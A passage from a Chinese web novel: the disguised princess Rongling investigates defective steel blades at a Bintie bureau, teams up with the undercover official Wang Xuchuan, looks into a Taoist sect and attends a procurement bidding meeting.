一则她已顺利潜入镔铁局，接近独孤氏，并没什么要倚仗王序川的。二则她谨慎惯了，虽有太子的作保，可她不敢贸然轻信陌生人——他是独孤氏相好的嫌疑可没解呢。
因而她只自个咽下这一隐秘，未同任何人说。
可许多时候，树欲静而风不止。
后几日，独孤氏吩咐荣龄给不同的人送点心。如同王序川那回，她只告知荣龄地址，却从不说对方是谁。
秀儿叫荣龄顶了差事，本不高兴。可她抵不过心中抓耳挠腮的八卦，过几日便问荣龄，“独孤大人当真看上了王员外？怎的日日要送上一回两回？”
荣龄睁着一双无辜的眼，故意道：“谁？王员外是谁？”照理，她不应知晓王序川的名姓。她又留个心眼，未透露独孤氏其实在给不同的人送点心，“我只照独孤大人说的做，其余的可不知道。”
秀儿瞪她半晌，悻悻说句“真是个呆子。”
荣龄目送她离去，背过身却把地址与收点心之人的声音特征告知万文秀。次日，万文秀来禀，这些人俱是镔铁商人，来保州参加十月十六日的投筹会。
投筹会——即以几人投筹的结果，决定镔铁局在来年采买哪一家的镔铁。有投筹之权的共计六人，独孤氏代表镔铁局，手中有四筹。保州知府代表地方，握有两筹。北直隶巡按御史代表大都行使监督，占两筹。最后三筹由保州商会、致仕的前文华殿大学士所在的罗家、首富方家各持一筹。
各家镔铁商需在投筹会中尽可能地争取六人手中的筹，筹多者胜出。
镔铁局的采买单子向来巨大，一家镔铁商若能拿下一年的单子，抵得过他在外头奔波买卖十年。
因而，镔铁商们八仙过海，不停钻营交际，只求在投筹会之前与人定下计筹。
手握三筹，且为镔铁局掌事者的独孤氏自是他们奉承的第一人。
荣龄日日做工，一双手在酸浆水中泡得又黑又红，她自不知道镔铁商人们如何与独孤氏往来。只是从独孤氏吩咐她回送点心与信物的频率看，王序川已得偏爱。
是的，王序川摆在明面上的身份，正是前来应筹的神秘且财力雄厚的镔铁商之一。至于他是否故意利用一身好风姿，求得独孤氏在投筹会上的偏袒，荣龄便不知晓了。
而在惠安楼那晚，王序川是在争取方家手中的一筹。
是日稍晚，独孤氏又唤荣龄。
因以为荣龄并不认字，独孤氏一面看手中的信，一面头也不抬地问话，“你送了许多回点心，当真不想知道那些人是谁？”
荣龄斜着眼偷看，刚瞥到“江南水军”四字，就被问得心头一紧。
独孤氏问这话，一是敲打她，明白地告诉她自个已知晓她与秀儿的闲话，她这回涉险过关，之后说话也需当心。二是试探她，看她如此维护是否另有所图。
独孤氏对于镔铁局的掌握，当比她想得要深。
“想知道的，”荣龄点头道，经过十几日的调教，她行礼的姿势已规矩许多，“可相公曾教我‘人知百味，心苦万千’。大人不曾交待的事，我知道也没好处。”
闻言，独孤氏抬头看她一眼，奇道：“你相公听着像个读书人。”
荣龄道：“是啊，读了很多年，可一直考不中，倒把身子读垮了。”
“可惜了，”独孤氏道，“我看你也不大怨恨他。”
荣龄摇头，语气颇重地否认道：“因为相公读书，家里花了许多钱。他去后，婆婆和小叔就想卖了我抵债。要不是这样，我定为他守寡。”她叹一口气，“相公对我很好，他是好人，只是好人不长命。”
荣龄说着，心中不住地合十作揖。只求张大人这个好人万不要计较她的胡言乱语，以及她早就过逝，从没见过的婆婆别在地底下听见她的大不敬。
语落，独孤氏没再追问她。
荣龄抬起头，小心地看她一眼，却意外地在独孤氏一片翠绿的瞳仁中看到物伤其类的悲悯。
荣龄一愣。
只是这层淡淡的悲悯很快叫走入中堂的黑衣男子打破。
荣龄侧耳，只听见他气息沉深，落步却近乎无声——显见的是绝顶高手。
独孤氏迅速收起这一刻的脆弱，她挥手让荣龄退下，问那黑衣人，“你怎的来了？主人让你来的？”
荣龄沿那人来时之路走出莫闪居，风吹来，她似闻到一阵此时不应出现的桃花香。
不多时，独孤氏的马车驶出镔铁局。
她是去见口中的主人？可她的主人又是谁？
是二皇子荣宗阙的母家赵氏，还是那颗早就埋在大梁的毒牙——花间司？
荣龄沉思再三，决定缀在后头遥遥地跟上去。
马车沿着大清河走了许久，待至保州城内，又钻入小巷慢行。
荣龄不敢跟得太近，因而只攀上坊口的钟楼，在高处看它七拐八弯地绕路。终于，马车驶入一座院内有两株古银杏的道观。
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荣龄落下钟楼，缓慢地摸近。因那位绝顶高手的存在，她的步伐慎之又慎——这一个她就打不过，若是埋伏了一群呢？
路过一户人家时，她略一想，便在门缝塞入几枚铜板，随后取过晾晒在外的衣裳、拎起墙角安放的菜篮，摇身变为买菜归来、住在左近的妇人。
乔装妥当后，她迈着不露分毫武力的步子，向道观走去。
道观正门前的巷道较之坊内的其他小道宽上许多，□□龄拐入其间，半分不觉豁然开朗，而是阴冷、压抑，连呼吸都要慢上三分。
道观正门半阖，门外站一遒劲的练家子。荣龄绷着心神走近，再冒险地侧首，像是充满好奇的路人，打量这位与此间气质绝不相合的陌生人。
那人拧起眉头，漆黑的眸子露出凶光，他呵斥道：“瞎看什么，还不快走？”
她似被吓到，扭回头，迈着小步飞快走了。
不多时，身后传来门扇推开的声音，有人低斥，“主人说了莫引人注意，喊什么？”
荣龄在最近的路口拐弯，又围着道观绕了半圈，来到后院的墙边。
隔一条小道，一处民宅的后门与道观相对。那宅子的后院种了几棵枇杷树，因冬日仍未落叶，树枝卧在墙头郁出一片浓影。
荣龄一喜，抬脚轻点院墙，纵身伏入其中一棵枇杷树的冠中。
隔着不远的距离，她望见道观的后院中，独孤氏恭敬立在一道身披道袍、中等体格的身影前。
这许是独孤氏口中的“主人”，可惜他背对荣龄站立，她一时也看不出更多的细节。
荣龄本就耳力过人，加之顺风传音，虽距几十步，她还是听见只言片语。
独孤氏提及“镔铁刀”与“投筹会”，还零星说到“新罗”，看来锦州军中的镔铁刀疵货确与她有关。
荣龄再想侧耳倾听，可惜一阵疾风扑过，她只隐约听见“周田”二字。
周田？南漳城西南三百里，确有一座边境小城名唤“周田”，可它既无地势之险，也没有丰富矿藏，向来是兵家不争之地，独孤氏为何提及它？
荣龄一面思索，一面在心中记下，今晚便去信孟恩，叫他去周田看看，是否有不妥之处。
正在这时，枇杷枝叶间又起风声。
荣龄本不在意，可一息后，她敏锐听出这道风声的异样——它更锋利，如暗夜中的刀一般，狭成极细的一道，似能径直划破肌肤。
不对，这不是单纯的风，是刀风！
5. 照面
电光火石间，荣龄不敢回头，反是往下急坠，落地后绕着半人粗的枇杷树干。转过半圈，又轻点地面，纵至另一棵树下，这才腾出时间与空间去看偷袭之人。
万幸，自身形看，他并非那位绝顶高手。□□龄不敢轻敌——他能悄然靠近，直到最后一刻才叫荣龄察觉，这已是万里挑一的好手。
又走过几招，荣龄渐生疑惑。
虽已做有意的遮掩，可这人的招式却叫她眼熟。
她一边招架，一边思忖，是在哪里见过？
须臾之间，她心中闪过一个念头——于是她形随意转，飞身至半空，又一蹬侧墙助力，以手做刀用力砍下——这是直接以军中招式试探。
见此情景，那人手中的刀滞了一瞬。
几如本能，他不似惯常的江湖侠士，横刀格挡，反是就地一滚，叫荣龄手刀的刀风劈在青砖地面。
二人齐齐停手，几乎同时发问：“你是何人，怎会军中刀法？”
荣龄先认出声音，“阿卯哥？”她问道。
阿卯也自昏暗中认出荣龄，“惊蛰娘子？”
他正想再问，荣龄却抬手制止他。
院墙外传来开门声，似有人自道观出来，查探二人方才打斗的声响。
也是荣龄运气好，不远处有野狗呜咽。那人看了半晌，终于嘀咕一句，“是条畜生。”
待他闭门离去，荣龄又等几息，这才重新攀上枇杷树。
可惜院中已无人影。
荣龄悻悻下树。
本不欲过早接触王序川，可事已至此，荣龄迎面对上阿卯欲言又止的神情，主动道：“带我去见王大人，我有事与他说。”
再次步入来过几回的前院，荣龄心道，难怪后院种了许多枇杷树，原是与前头一致的。只是这院子的前门与后门落在不同巷中，她竟是没有认出。
走入正屋，东面靠窗处摆一张酸枝木的罗汉塌，榻上置一方坑桌，桌上有一盏清茶，正袅袅地腾起热气。
小院的主人盘腿坐在炕桌一侧。
见荣龄进屋，王序川取茶的手一停。
“惊蛰娘子？”他有些意外道。
荣龄点头，“王大人。”
闻言，王序川看了阿卯一眼。
阿卯猛摇头，“惊蛰娘子什么都没与我说，我只知道她会军中刀法。”他一停，强调道，“刀法极好，恐在我之上。”
荣龄瞥了阿卯一瞬，心说这对文武组合倒是有趣——文的风姿绝佳，佳到让风流的俏寡妇看上；武的功夫不错，却有几分缺心眼，他许是东宫的护卫，奉太子之命保护王序川。
荣龄想了想，在袖中掏出一枚太子送她的和田玉把件，“我乃南漳三卫中人，奉命查镔铁刀一案。王大人的身份由太子殿下告知郡主，郡主再传信于我。”她递过把件，“此乃太子殿下赠郡主之物，上有东宫印记，大人可查验一二。”
荣龄全身都有伪饰，即便王序川曾见过她，她也不怕叫他认出。
因而，她仍未表明自个真正的身份。
王序川接过，只囫囵打量一眼，并未仔细查看。他穿一件月白色的衣裳，暗绣的海水梅花纹映在昏昧的烛光下，随举止泛出波状的亮光。
荣龄奇道：“王大人很是信我？”
王序川将之递回，淡笑道：“这把件本就由我选出，再着人送往南漳，我自然分得出真假。不过…”他一停，“郡主将它交与你，让你做凭信，想来信重你。”
荣龄一顿——太子并未告知她把件背后之事。
不过若王序川当是太子的心腹之臣，否则，太子不会交办他此事。只是这样的潜邸之秀，当真以美□□惑了独孤氏？
荣龄“嗯”了声，抬头对上那道试探的目光，“我出自缁衣卫，只听郡主调遣。”
“我知晓了。”王序川伸手一比坑桌那头，请荣龄落座。
他像是很了解缁衣卫，因而没有白费口舌，追问荣龄的真名，他只问道：“你方才说追查镔铁刀一案，可是南漳三卫出事了？”
待验过王序川手中的刻有“枢密院·检祥”五字的令牌后，荣龄点头，说起出现在五莲峰的镔铁刀与死在五莲峰的两万将士。
闻言，王序川未立刻将此事与锦州军中的镔铁刀疵货联系，而是喉头一滚，问道：“郡主可曾受伤？”
荣龄一愣。
“不…不曾。”她因意外有几分结巴。
王序川垂下眼，没让荣龄看清眼中一闪而过的情绪。他颔首，又端起清茶，未再说什么。
片刻后，荣龄收起心中的几分疑惑，询问王序川可查到什么。
王序川不答反问：“惊蛰娘子可知，我此番为何扮作镔铁商人？”
荣龄摇头。
“因为…”王
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序川往北一指，“大都已去令镔铁局，为江南水军定制一大批镔铁刀。娘子可猜猜，这批镔铁刀会是货真价实，还是又一批疵货？”
不等荣龄回应，他又自答：“我想，总是后者的可能性更高。”
闻言，荣龄立时想起今日瞥见的“江南水军”四字。想来，独孤氏看的当是大都来的命令。
锦州军、江南水军——这是除一贯中立的南漳三卫外，东宫握有的唯二两支兵力。
太子的这粒诱饵，下得又准又狠。
正如荣龄看准了投筹会这一契机，王序川也是如此。
“不论投筹会的结果为何，镔铁局若锻制疵货，总要问中筹方订购大量熟铁。若我中筹，我便是独孤氏的同伙，能用最短的时间拿到证据，查明锦州与五莲峰的镔铁刀之案。如此自是最好。”
“若非我中筹，那也无碍。咱们总能拐个弯攀上中筹者，只是远了些路。”
王序川条分缕析地与荣龄说明，他再话锋一转，“更何况，娘子知道，兵部每年花巨额银子采买镔铁，可银子花得是否得当，哪方势力最终获益，至少东宫是不知晓的。”
荣龄仔细听完，又抬头看他一眼。
王序川提壶添水，一派沉静。他的身上没有半分男子惯有的论道后的自得与炫耀，而是行止松弛，又暗露风骨。
荣龄不禁好奇，这样的人也会为达目的，不惜用上色·诱的法子？
这时，阿卯等了半晌，依旧没等到二人谈及今晚他最关心的问题。
他忍不住插嘴，问道：“娘子方才为何躲在后院的枇杷树上，我还以为王大人的行迹暴露了，叫人暗中监视呢，可吓坏了我！”
荣龄轻咳一声，说起在独孤氏院中见的黑衣高手与隔壁道观身着道袍的“主人”。
她只说了想探明这位主人究竟是谁，并未提及自己关于其身份的两个猜测。
果然，因不知花间司的存在，王序川怀疑的对象只有一个——“许是听闻江南水军之事，大都来了人？”他深得东宫精髓，未明说是赵家。
荣龄不置可否，“方才离得远，我也不知。”
二人说过两盏茶的时间，见天色已晚，荣龄起身告辞。
“如今我在里头，王大人在外头。咱们通力互助，定能查出镔铁局背后的黑手。”荣龄道，“三日后的投筹会，我在镔铁局静候王大人。”
6. 长春道
只是在此之前，荣龄还需查明一事。
投筹会的前一日是十月十五，既为镔铁局休沐的日子，又是下元水官大帝生辰。这日，大梁境内的道观都会举行斋醮法会，恭贺尊神圣诞。
荣龄趁此机会，光明正大地走入两日前的晚上不得入的所在。
道观不大，山门内置一尊铜鼎，鼎后是三清殿，紧贴三清殿的有一方小小戒台。
此时的道观中弥漫着长香燃起的青烟，人声鼎沸、热闹非凡。
荣龄一嗅，空气中正是那日隐约闻见的桃花香味——不同的是，那日清淡，这时却浓郁、霸道。没一会，荣龄便觉头疼。
可她仍往三清殿里头挤去。
待至殿内，只见正中供奉着一人高的玉清、上清、太清三尊木塑，木塑颜色尚新，似左近才被请至此处。木塑周身缠绕着许多一指宽的彩绦。一鹤发道长正揭下一条条彩绦，再赠与众人。
荣龄只看了老道一眼，便晓得他不是那日的任何一人。
荣龄身旁挤过满脸喜色的妇人，她高举一条青色的彩绦。
荣龄拦住那人，好奇问道：“嫂子，我路过这里，叫观中的热闹引进来。”她一指妇人手中的彩绦，“这是什么？大伙怎么争着要？”
妇人一听，热心道：“你算是来着了！”她转身一比三尊木塑，“这三尊木塑自大都长春观而来，由长春道祖师白龙子亲手凿刻。为免途中宵小惊扰三清，白龙子又手写九百九十九道彩绦，各条之上都设密符。三清木塑起运前，道长在三清手中各放一粒滚圆的金丹。到了保州，咱们将之请出，三清手中的金丹一颗都没掉。咱们都说，全赖白龙子修为深厚，以九百九十九道密符彩绦保佑，这才叫三清在运送途中不动分毫。”
“所以，道观中分的正是白龙子手写的密符彩绦？”荣龄问道。
她隔着浓重的青烟望去，三清木塑身上的彩绦已被取下小半，露出其衣袍上绘有的由四种花瓣组成的四时花图——最里头是桃花瓣，次一层是荷花瓣，往外是菊花瓣，最外头是君子兰。长春道以四时花图为标志，取“四季有时，随时而为”之意。
这恰映合其主张——长春道不出家苦修，也不除情去欲，认为结婚、食荤甚至与人争斗都是“随时而为”。
因其教义简单，又暗合人性，白龙子在庐阳府创立长春道后，短短十年间，它的信众已遍布大梁。遑论两年前，建文帝微服南下，与白龙子论道一宿，甚为投契。他老人家回大都后，便延请白龙子将祖庭迁至大都。
那之后，长春道的名望更是一日千里。
荣龄不信佛、不问道，万事只论己心。然而，当三清身上的彩绦无风自动时，她也生疑，世间莫非真有神迹？
“是三清显灵！”有人高喊，“白龙子长乐无极！”
“白龙子长乐无极！”愈多信众一面念着，一面跪下叩拜。
为不在人群中突兀，荣龄跟着伏身。
三清殿中的气氛更加狂热。
自三清殿出来，荣龄绕着院子走了一圈，可此时的观中只余刚留头、正在清扫落叶的小道士，再没有神秘来客。
荣龄自道观后门出来，想了想，轻点侧墙跃起，落在王序川院内。
王序川臂间绑了襻膊，正搬一盆结满花苞的山茶出来。
见荣龄悠然自后院转来，他沉默一息，这才问她：“惊蛰娘子今日也来窥视道观？”
荣龄自知翻墙而入不算雅正，但…
“江湖儿女自不拘小…”话刚出口，她就觉得不妥，她顶着缁衣卫的名头，王序川又是枢密院的检祥官，他二人如何都算不上“江湖儿女”。
于是，荣龄一顿，改口道：“出门在外，不必太拘小节。”
王序川看她一眼，继续抱着山茶换盆，没再说什么。
荣龄跟过去，赞道：“好俊的抓破美人脸！”她伸手摸了摸叶子，揪下一片，“只是看着不大好，有些蔫耷。”
看见荣龄手中的叶子，王序川脸色一变，向来云淡风轻的面上浮出不满，“惊蛰娘子，辣手摧花非君子所为！”
他隔开荣龄，不让她再接触山茶。
荣龄“喂”一声。
看着王序川护食的架势，她也生出不满。
想她荣龄，在南漳养了一整院的名贵山茶，莫说一盆抓破美人脸，十八学士、恨天高，连那深山罕见的金茶花，都有个十盆八盆的。她若认南漳第二养花好手，绝无人敢应第一。
她不过揪下一片黄了的叶子，王序川心疼个什么劲？
不过，王序川自大都来此查案，想来不会专门在保州买山茶，加之抓破美人脸在大都尚有一些，于保州却是难寻的奇珍，莫非…这花是王序川自大都带来的？
大都至保州少说也有三百里，他费心巴拉地带着一盆花上路…
“难不成，是心上人所赠？”荣龄睁着一双大眼，好奇道，“怪不得王大人当个宝贝。”
王序川瞥了她一眼，转头又专注地给花移盆、施肥，并不理她。
看他又在盆中撒入一把鸡骨，荣龄忍不住唤他，“王大人，你再施肥，这心上人的山茶可真叫你养死了。”见王序川看过来，她双指夹起那枚黄叶，“人吃得太饱都要撑死，何况花呢？”
“山茶喜肥，却也不能日日满汉全席。”荣龄扬起下巴，肯定道，“追的肥减半，保你的花半月内水水灵灵。”
王序川半信半疑，“惊蛰娘子懂花？”
荣龄一拍胸脯，正要说些豪言壮语，转头却看见自己日日做工旧得不像样的衣裳，“郡主在南漳养了一院的花，”她轻咳一声，编了说辞，“她忙不过来时，缁衣卫要帮忙照看。”
王序川“哦”一声，依言减了一半的肥，“惊蛰娘子，”他正往盆中培土，头埋着，看不清神情，“我听说，郡主去年往大都送了十盆抓破美人脸，可都是她亲手养的？”
这倒是真的。
去年一整年，她与前元军各种斗智斗勇，一直到了年关，才想起忘了备年礼。王府长史写信来问，他已在大都替荣龄备了一份妥帖的年礼，是就用那份，还是郡主自有主张？
荣龄一拍脑门，忙八百里加急去信，让长史就往各处送去他备好的礼。为不叫人挑理，她还随信送去十盆自己养的抓破美人脸，让长史看着分。
只是，王序川问这做什么？
“郡主向来不重虚名，”荣龄想了想，答道，“说是她养的，便就是她养的。”
王序川培好土，将盆移到向阳、背风处。他起身濯手，又掸了掸衣袍上的浮土，这才转过身来问荣龄，“惊蛰娘子还未说，今日来我后院，可是又为了窥视道观？”
“不算窥视，而是光明正大，”荣龄自袖中掏出一物，“看，白龙子手写的密符彩绦。”
荣龄递过彩绦，又说起今日的见闻。
“王大人，我久未归大都，不知长春道如今是个怎样的形势？”她问道。
王序川仔细查看其上的符箓图案与咒文，牙红的彩绦缠在苍白的指间，有种奇
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诡的艳丽。
“两年前，圣上延请白龙子至大都，中书、御史台均有谏言，道‘君王只敬天地，不事鬼神’。白龙子也不恼，无御赐卤簿，他便一人一驴走了几月，自庐阳府来了大都。那之后，他在城南设坛，专为贫苦者举行斋醮。寒冬数九日，又布施粥面，攒了名声。”
王序川一面回忆，一面道：“那之后，圣上偶有赏赐，只要不过格，朝廷也不再说什么。”
“白龙子可有主动要求什么？”荣龄问道。
王序川摇头，“立观、题碑均无，甚至连青词都不曾请圣上写一篇。”
“可有向圣上敬献？”荣龄再问。古今多少帝王因丹药染病，若白龙子献了丹药，即便他别无所求，那也是心怀不轨。
王序川再摇头，“无。”
“真是奇了，既无所图，又无所献。这白龙子还真是个十全好人？”荣龄抬头看向王序川，问道。
王序川不答反问：“惊蛰娘子可信世上真有这样的人？”
荣龄嗤笑，“不信。”
“四季有时，随时而为…”王序川念起长春道的祖训，淡漠道：“有时不怕人有所图，就怕他绝无所图。”
荣龄深以为然。
她往后院的方向看去，信众燃香的青烟自道观溢出，在空中缠绕、纠结。
荣龄的思绪一如这混乱、庞杂的烟气——镔铁局本就牵涉花间司、赵氏，如今又多一个善恶不明的长春道，三者谁才是真正的幕后黑手，他们之间又有怎样隐秘的联系？
她闭了闭眼，脑中依旧一片混沌。
这时，院门“吱呀”打开。阿卯挎着菜篮，拎一条活鱼进来。
见荣龄也在，他自来熟地招呼，“惊蛰娘子也来了？要不要一道用饭？”他自夸道，“我的厨艺尚好，刚学了一道鱼汤，娘子可尝尝。”
闻言，王序川瞥他一眼，眼神凉凉的。
阿卯缺心眼，不仅半点不查，还拎着鱼凑到跟前，“大人快看，大清河的活鱼，我想着天冷，正好给大人做道鱼汤补补。”
王序川想都不想，拒绝道：“不必，我不吃鱼。”
荣龄心说，想不到这世上除了张大人，还有人不吃鱼。
说来也怪，张大人出身鱼米之乡庐阳府，竟不吃鱼？可惜他二人天各一方，她一直没找见机会，问问是为何。
阿卯一脸可惜，他又挽留荣龄，“惊蛰娘子呢？留下尝尝吧，好大的一条鱼！”
荣龄有一丝心动。
却有人偷偷拽了她的袖子。
荣龄别过头，是王序川，“速走。”只听他道。
荣龄听出音来，看来…阿卯所谓的“尚好的厨艺”，怕是不大好。
她拱手，说一句“王大人，明日见”后，便一溜烟跑了。
迈出院门，身后依然传来阿卯不甘心的呼唤，“娘子当真不留下？我本想饭后与你过上几招，娘子的功夫很是精湛呢！”
见荣龄头也不回地走了，阿卯不舍且不甘地收回目光。
“对了，大人！”他想起正事，从冻柿子下头翻出信，“有你的信。”
王序川查过火漆，这才去一旁看信。
阿卯见他看得认真，以为有大事。于是他一面坐在廊下择菜，一面竖耳听着，怕王序川看完信有吩咐。
没一会，王序川低语道：“有军务？莫非五莲峰尚有隐情？”
阿卯没听清，“五莲峰？五莲峰怎的了？”
王序川遥遥望向南方，却不答。
7. 二桃杀三士
十月十六，诸事皆宜。
巳时正，镔铁局中门洞开。
钟鼓奏乐，一行四人手捧银瓮，自门内迤逦而来。
居中一人着青色团领衫，束银带，胸前补子绣有一只凶猛的彪，只见她素着一张面，眼角低垂，整日里飞扬的风情隐去大半——正是“寡妇门前是非多，相好较是非更多”的镔铁局第一人独孤氏。
随后跟着三局管事——宛如一尊铁塔，遒劲的肌肉似要从公服中挣出的冶火局管事巴图林，身量矮小，十个指头套了四枚实心金戒的金水局管事贺方，素颜荆钗，全身再无一分装饰的神耀局管事高四娘。
四人至大清河畔各取一瓮夹冰的清水。归来后，又将水汇在莫闪居正厅的一只青花大缸中。
青花大缸后是一臂高的铜鼎，鼎后立一尊镔铁铸的老子像。
伴随中央四人取香敬拜，肃立的匠人们躬身低语“维铸神器，利斩鲸鲵”。
礼毕，独孤氏向两道绯色身影拱手，“冯御史、赵知府，诸礼已成，咱们开始吧？”
一道清瘦、黝黑的身影点头，正是太子在信中提及的北直隶巡按御史冯宝。“走吧。”他率先向一年仅在投筹会启用一回的莫闪居后院走去。
紧随其后的是保定知府赵瑄及保州商会、罗家、方家之人。
荣龄掩在人群中，袖着手张望前方。
拥有投筹之权的六人走后，簇拥而来的正是二十余位前来应筹的镔铁商人。
“人可真多呀。”荣龄叹道。
她虽不认人，可王序川穿一身碧色的锦袍，行止间如一枝经冬的竹，那身清静的风骨叫她认不出都难。
关注到王序川的自不只她一人。
听着大姐大嫂们毫不掩饰的议论“那是谁？长得可真好看！”“我若手中有筹，不论几筹，都给他！”荣龄心中再叹一句——好个蓝颜祸水。
听到荣龄“人多”的感叹，春芳深以为然，“是多，我也从没见过这么多人来应筹。”
“这是为何？”荣龄假装不知，问道。
“你傻呀！”春芳一拍荣龄胳膊，“以往中筹的只一户商家，十之八九归赵家。时间长了，谁肯来‘陪太子读书’？”
见荣龄发懵，春芳低下声，说得更浅白，“怕是有人不忿赵家吃独食，要分一杯羹，这才逼独孤大人把中筹的商家一分为二——即便赵家仍占五分好处，另五分的利也足够让商人们争一争！”
王序川与荣龄说这一计时，她的第一反应便是——二桃杀三士。
定下这一计的，既是春芳口中的“不忿赵家吃独食”之人，也是远在大都的东宫荣宗柟。
荣龄一面感叹东宫的手腕愈加纯熟，一面却警醒，东宫几次插手镔铁局的事务，荣宗阙所领的赵氏岂会毫无应对？
只不过…春芳竟能参透这一举动背后的博弈，可是她自个想通的？
荣龄捧出一脸的崇拜，“春芳姐真厉害，这都知道。”
春芳却眺一眼莫闪居的后院，“也不是…”她的面颊浮出红云，“有人告知我的。”
荣龄垂眸暗忖，有人？看她的形容…可是她的相好？会是谁呢？
可惜，当下不是纠结这一问题的好时节。荣龄今日的任务可不轻松。
于是，她眨了眨眼，拧一把春芳的细腰，“春芳姐，明日可要告诉我，‘有人’究竟是谁呀？”
她“咯咯”一笑，没管春芳羞红脸的“要死啦，惊蛰！”，摆了摆手跑向莫闪居的二重院。
进了二重院，气氛倏地一静。
荣龄沉下面容与心神，冲几步一岗、着程子衣戴黑色高帽的保州府兵一礼，这才拾级走到供镔铁商人暂歇的屋中。
莫闪居的二重院与别处不同，它无东西厢房，仅南北两列同为五间面宽的排屋隔院相对。
面南的北屋为尊，供拥有投筹之权的六人商议。面北的南屋设隔间，供镔铁商人休息、筹划最后的报价，每间内置一把太师椅、一方书案，案上有纸笔与一只吊着精铜锁的红杉木箱。
作为替独孤氏传书、与镔铁商人们多番相见却不相识的“鸿雁”，荣龄成为在此处服侍的最佳人选。
一位着孔雀翎织锦，脖子上戴三叠粒粒指甲盖大小、色红如血的珊瑚珠的胡商与荣龄套近乎道：“小娘子，今日又要辛苦你。”
他的官话夹杂西域的卷音，正是自西喀拉汗王国而来的扎伊尔。
荣龄假装不知，“老爷言重了。”
见他如此，与荣龄交际过的商人拥上前，欲探听内部消息。唯二不动的，一是稳操一半胜券的赵氏门生祝海月，一是顶着一身高洁风姿的王序川。
荣龄叫人围得烦。她故意露出错处，对着扎伊尔一拜，“文老爷回赠的德化瓷观音大人已收悉，欢喜得很！”又对着泉州来的文老爷道：“上回送与祝员外的草鞋饼可有吃？大人用着味道不错，吩咐定送您一份。”
一番乱拳下来，商人们心中凉了个透——竟是个不认人的小娘子，他们的一番媚眼可都白抛咯！
不多时，秀儿扣了门，“惊蛰，请老爷们一一过来吧。”
荣龄舒一口气，领着第一排隔间最东面的镔铁商人鄂氏去了北屋。在那里，每位商人有一炷香的时间言明自个的长处、接受投筹之人的各式问询，最重要的是给出第一轮的报价。
荣龄止步于门口，看着秀儿领人进屋。
她的眉头微皱——北屋是今日最为机要之处，竟是一向多嘴的秀儿在此服侍？
她又想起，这几日并不见秀儿的身影…
或许，独孤氏不再用秀儿联络镔铁商人并非因她“无故妄议、惹口舌是非”，反是要将其解脱出来，去做更要紧的事。
至于选了荣龄作为替代…纯是独孤氏瞧上她脸盲又文盲，不至于泄露隐秘。
如此看来，镔铁局众人远不像表面看来的简单与无害。
回到南屋，荣龄一面穿梭在隔间添水，一面暗自观察操各式口音，形态迥异的商人们。
祝海月稳如隔山观虎，他甚至有心情品一品荣龄端上的茶水与点心。“这黄山云雾不错，当是明前的新茶，独孤氏有心了。”他呷一口茶水，直呼独孤氏的名姓，显得很是轻慢。
扎伊尔最为活跃。他的财力雄厚，又出身西喀拉汗王国——王国扼西域要道，是“镔铁之最”乌兹矿东来的必经之道。他有着商人最灵敏的嗅觉，没一会就分辨出此行最有实力的几个竞争者。他交际其间，欲在言谈中探知各方的底价。
万州商会背靠漕帮，而漕运总督与投筹者之一的罗家同族，若有罗家当场说好话，其优势不可估量。因而，万州商会是扎伊尔最忌惮的一支势力。
王序川背景神秘，传言他乃独孤氏的入幕之宾，也不知这枕头风对于女子是否好使。扎伊尔一面思索，一面与王序川攀谈。
来自泉州的文氏实力又弱几分。泉州临港，他们最大的长处是海运便利。可海上气候多变，大梁对于海运的倚重远不如陆路。故扎伊尔没有多花心思，只在文氏的隔间站了一会。
既是同盟，荣龄自希望王序川中筹。
只不过，扎伊尔与万州商会来势汹汹，王序川从中脱颖而出，还需一番筹谋。
镔铁商人依次去到北屋，时间很来到申时。
荣龄请扎伊尔移步。
南屋与北屋相距几十步，待走到院子正中，离两处府兵都有一些距离时，扎伊尔以宽袖作挡，往荣龄手中塞了袋金豆子。
“小娘子，我只想知道万州商会与王序川的报价。”他低声道。
荣龄往来南北屋间，最有机会探知众人的报价。
一瞬间，荣龄在心中闪过数个念头。
随后，她一面低声说着“老爷，这不行的！”，一面却在手上刻意慢了半分。
果然，扎伊尔快走几步，叫
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荣龄失了把金豆子递回的机会。
北屋门扉一掩，荣龄退下。
回到南屋，她按了按咕噜直叫的肚子，在心中叹一口气。
午间，外头送来饭菜，供应筹的商人们充饥。她为众人提完食篮，不出意外地发现伙房压根没有想起在此间服侍的她。
也是，如今她只是镔铁局再寻常不过的匠人，谁会专门记得她？
荣龄略略一扫，不少隔间的书案上放着没用完的点心，她咽了咽口水，强迫自己移开目光。
路过王序川所在的隔间时，荣龄自然想起他那份较旁人多一盏血燕桂花羹的食盒。
她摇了摇头，暗道独孤氏如此偏爱他，也不知这位微服查案的王大人该如何收场。
许是想得入神，荣龄看向王序川的时间有些长。
王序川迎着她的目光，微不可查地挑起眉，似在问她“何事？”
荣龄摇头。
这时，王序川想起什么，冲荣龄招手。
荣龄以为他要添水，便拎着提梁壶走过去。注满半盏后，荣龄问道：“王员外可要别的？”
王序川嘴上说着“无”，手中却递过一枚核桃饼。
荣龄眼中一亮。
她团团一看——隔间阻断左右视线，若无人自前方迎面走来，此处便是独立且安全的。
她草草一拱手，猛虎扑食一般地接过那枚核桃饼。
可惜乐极生悲。
荣龄忙碌一日，不曾进食，自然也未用水。她饿得很，嚼咽得快，干酥的核桃饼堆在嗓间，不多时便将她噎了个眼冒金星。
王序川在一旁，看她生生地将自己噎得翻了白眼，一阵捶胸顿足都无法缓解。
他半是无语，半是嫌弃地递过刚注上的黄山云雾茶——此间没有多的茶盏，他也无法计较这是自己用过的杯子了。
同样无法计较的还有荣龄。
她接过茶水一饮而尽，又捋着脖子顺了半晌，终使自己的英名免于挂上“噎死”二字。
她觉得实在丢人，提上水壶便掩面走开，再不记得要给王序川换个杯子。
可怜慈心助人的王检祥最终落个没杯子喝水的下场。
还好不多时，扎伊尔归来。
至此，所有的镔铁商人已去过北屋，并给出了自个的第一轮报价。
独孤氏亲自来了南屋，她略一颔首，道是“咱们已知晓大伙的诚心，可孪生的兄弟尚有高有矮的，各位的报价自是贵贱不一。”
“只不知可有人要调整报价，若有，便在此香燃尽之前，写了新的数锁入案上的红杉木箱中，惊蛰自会送往北屋。”
说罢，凭窗而放的半月形高几上置一枚香插，长香袅袅腾出青烟。
荣龄一嗅，这香很是寻常，并无桃花香味。
在众人低声的议论中，独孤氏转身离开。
荣龄躬身送她离去，抬首之际，角落中的扎伊尔冲她猛使眼神。
荣龄恍若未觉。
她看着独孤氏缓步走过中庭、迈上石阶，再步入北屋，合上门扉。
她在心中暗道，正是此时！
只见荣龄双目一闭，再睁开已是满眼的惊惶。她自袖中掏出扎伊尔递来的金豆子，快步往北屋走去。
